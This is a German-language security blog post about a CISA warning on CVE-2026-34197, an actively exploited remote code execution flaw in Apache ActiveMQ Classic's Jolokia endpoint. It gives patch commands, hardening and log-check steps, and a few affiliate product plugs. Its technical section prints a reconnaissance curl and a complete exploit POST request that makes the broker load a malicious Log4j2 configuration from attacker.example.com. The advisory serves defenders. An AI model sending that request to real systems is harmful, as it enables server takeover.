CISA-Warnung: Apache ActiveMQ CVE-2026-34197 aktiv ausgenutzt – Jetzt sofort patchen!
Die US-amerikanische Cybersicherheitsbehörde CISA (Cybersecurity and Infrastructure Security Agency) hat am 16. April 2026 eine dringende Warnung zu CVE-2026-34197 in Apache ActiveMQ Classic herausgegeben. Die Apache ActiveMQ Sicherheitslücke 2026 wird aktiv in freier Wildbahn ausgenutzt und wurde in den offiziellen Known Exploited Vulnerabilities (KEV) Catalog aufgenommen. Bundesbehörden haben bis zum 30. April 2026 Zeit, ihre Systeme zu patchen – doch auch Unternehmen, Homelab-Betreiber und Entwickler sollten sofort handeln.
Was steckt hinter CVE-2026-34197?
CVE-2026-34197 ist eine Remote Code Execution (RCE)-Schwachstelle in der Jolokia JMX-HTTP-Brücke von Apache ActiveMQ Classic. Der CVSS-Score liegt bei bedrohlichen 8.8 (Hoch). Das Sicherheitsforschungsunternehmen Horizon3.ai beschreibt die Lücke als seit 13 Jahren im Verborgenen schlummernd – sie war also schon sehr lange im Code vorhanden, bevor sie entdeckt wurde.
Das Problem liegt in einer unzureichenden Eingabevalidierung im Jolokia-Endpunkt unter /api/jolokia/. Über manipulierte HTTP-Anfragen kann ein Angreifer den ActiveMQ-Broker dazu bringen, eine externe Konfigurationsdatei zu laden und beliebige Betriebssystembefehle auszuführen.
Besonders kritisch: Auf den Versionen 6.0.0 bis 6.1.1 ist die Jolokia-API aufgrund einer weiteren Schwachstelle (CVE-2024-32114) ohne jede Authentifizierung erreichbar. Das bedeutet in der Praxis: unauthentifiziertes Remote Code Execution – ein Albtraum für jeden Systemadministrator.
Technisches Deep-Dive: Wie funktioniert der Exploit?
Jolokia ist eine HTTP/JSON-Brücke für JMX (Java Management Extensions). Sie erlaubt es, JMX-Operationen über eine REST-API aufzurufen – praktisch für Monitoring-Tools, aber gefährlich, wenn sie unzureichend gesichert ist. Bei CVE-2026-34197 nutzt der Exploit eine spezifische JMX-Operation, um eine externe XML-Konfigurationsdatei zu laden.
Der Angriff läuft in zwei Schritten ab:
- Reconnaissance: Der Angreifer prüft, ob der Jolokia-Endpunkt erreichbar ist:
curl -s http://TARGET:8161/api/jolokia/versionEine Antwort im JSON-Format mit "status":200 bestätigt die Erreichbarkeit ohne Authentifizierung auf betroffenen Versionen.
- Exploit-Aufruf: Anschließend wird über eine präparierte POST-Anfrage eine externe Log4j2-Konfigurationsdatei geladen, die Betriebssystembefehle enthält:
curl -s -X POST http://TARGET:8161/api/jolokia/ -H "Content-Type: application/json" -d '{
"type": "exec",
"mbean": "log4j2:type=*",
"operation": "setConfigurationLocation",
"arguments": ["https://attacker.example.com/malicious-log4j2.xml"]
}'Die extern geladene Konfigurationsdatei kann beliebige ScriptEngine-Appender enthalten, die direkt Betriebssystembefehle ausführen. Das Ergebnis: vollständige Remote Code Execution mit den Rechten des ActiveMQ-Prozesses – häufig unter dem Nutzer activemq, der auf schlecht konfigurierten Systemen weitreichende Berechtigungen hat. Im schlimmsten Fall bedeutet das: eine vollständige Übernahme des Servers.
Welche Versionen sind betroffen?
Folgende Versionen von Apache ActiveMQ Classic sind verwundbar:
- Apache ActiveMQ Classic vor Version 5.19.4
- Apache ActiveMQ Classic 6.0.0 bis 6.2.2 (vor 6.2.3)
Wer noch eine dieser Versionen einsetzt – egal ob produktiv, im Homelab oder in einer Testumgebung – sollte umgehend aktualisieren.
Aktive Ausnutzung: Die aktuelle Bedrohungslage
Fortinet FortiGuard Labs hat bereits Dutzende Angriffsversuche auf exponierte Jolokia-Endpunkte dokumentiert, mit einem Peak der Aktivität am 14. April 2026. Angreifer suchen dabei gezielt nach ActiveMQ-Instanzen mit erreichbarem Management-Endpunkt – und viele Deployments nutzen noch immer Standard-Zugangsdaten, was den initialen Zugriff trivial macht.
Die CISA-Aufnahme in den KEV Catalog ist kein Papiertiger: Sie signalisiert, dass reale Angriffe stattfinden und dass Systeme aktiv kompromittiert werden.
Sofortmaßnahmen: So schützt du dein System
1. Sofort auf die gepatchte Version updaten
Die Apache Software Foundation hat Sicherheitsupdates veröffentlicht. Hier die konkreten Upgrade-Befehle für gängige Umgebungen:
Linux (tar.gz / manuell):
# ActiveMQ 5.x auf 5.19.4 aktualisieren
wget https://downloads.apache.org/activemq/5.19.4/apache-activemq-5.19.4-bin.tar.gz
tar -xzf apache-activemq-5.19.4-bin.tar.gz
systemctl stop activemq
cp -r apache-activemq-5.19.4/* /opt/activemq/
systemctl start activemqDocker:
# Gepatchtes Image ziehen und Dienst ersetzen
docker pull apache/activemq-classic:5.19.4
docker stop activemq
docker rm activemq
docker run -d --name activemq -p 61616:61616 -p 8161:8161 apache/activemq-classic:5.19.4Maven (pom.xml – Dependency aktualisieren):
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-broker</artifactId>
<version>5.19.4</version>
</dependency>2. Jolokia-Endpunkt absichern
Falls ein sofortiges Update nicht möglich ist, helfen diese Sofortmaßnahmen:
- Jolokia-API-Zugriff auf
/api/jolokia/über Firewall oder Reverse-Proxy blockieren - Standard-Zugangsdaten sofort ändern – ein Passwort-Manager wie NordPass hilft dabei, starke und einzigartige Passwörter für alle Dienste zu verwalten
- ActiveMQ-Management-Interface nur über VPN oder interne Netzwerke erreichbar machen
- Netzwerksegmentierung einsetzen – kein direkter Internetzugriff auf den Broker
Tipp für sicheren Remote-Zugriff: Wer das ActiveMQ-Management-Interface per VPN absichern möchte, ist mit NordVPN gut aufgestellt – schnell eingerichtet, auch für Homelab-Umgebungen geeignet.
3. Systeme auf Kompromittierung prüfen
Da aktive Angriffe laufen, solltest du dringend prüfen, ob dein System bereits betroffen ist. Hier sind konkrete Befehle zur Log-Analyse:
Jolokia-Exploit-Versuche in ActiveMQ-Logs finden:
# Suche nach POST-Anfragen an den Jolokia-Endpunkt
grep -i "jolokia" /var/log/activemq/activemq.log | grep -E "POST|exec|setConfiguration"
# Kompaktere Version für Docker-Logs
docker logs activemq 2>&1 | grep -i "jolokia" | grep -E "POST|exec"Verdächtige ausgehende Verbindungen prüfen:
# Netzwerkverbindungen des ActiveMQ-Prozesses anzeigen
ss -tnp | grep activemqSystemd-Journal nach ungewöhnlichen Aktivitäten durchsuchen:
journalctl -u activemq --since "2026-04-14" | grep -iE "error|warn|exec|jolokia"Wenn du verdächtige Einträge findest – insbesondere POST-Anfragen an /api/jolokia/ mit setConfigurationLocation als Operation –, gehe von einer Kompromittierung aus und isoliere das System sofort vom Netzwerk.
Warum ist das auch für Homelab-Betreiber relevant?
Apache ActiveMQ ist nicht nur in großen Unternehmensumgebungen verbreitet. Auch im Homelab- und Self-Hosted-Bereich wird ActiveMQ für Messaging, Event-Streaming und die Integration verschiedener Dienste genutzt – zum Beispiel zusammen mit Spring Boot, Jira oder selbstgehosteten Monitoring-Stacks. Wer ActiveMQ hinter einem Reverse-Proxy betreibt oder versehentlich den Jolokia-Port nach außen offen hat, ist potenziell gefährdet.
Wer seine Infrastruktur zusätzlich absichern oder auf eine dedizierte Cloud-Instanz umziehen möchte: Hetzner Cloud bietet leistungsstarke VPS-Instanzen zu fairen Preisen – ideal für selbstgehostete Dienste mit voller Kontrolle über die Konfiguration.
Fazit: Jetzt patchen, nicht warten
CVE-2026-34197 ist eine der gefährlichsten Schwachstellen des Jahres 2026 – aktiv ausgenutzt, einfach angreifbar und mit einem Schatten von 13 Jahren im Code. Die CISA-Warnung April 2026 ist eindeutig: Bundesbehörden müssen bis zum 30. April patchen. Für alle anderen gilt: Kein Grund zu warten. Update auf 5.19.4 oder 6.2.3, Jolokia-Endpunkt absichern, Logs prüfen – in dieser Reihenfolge.
Bleib sicher.
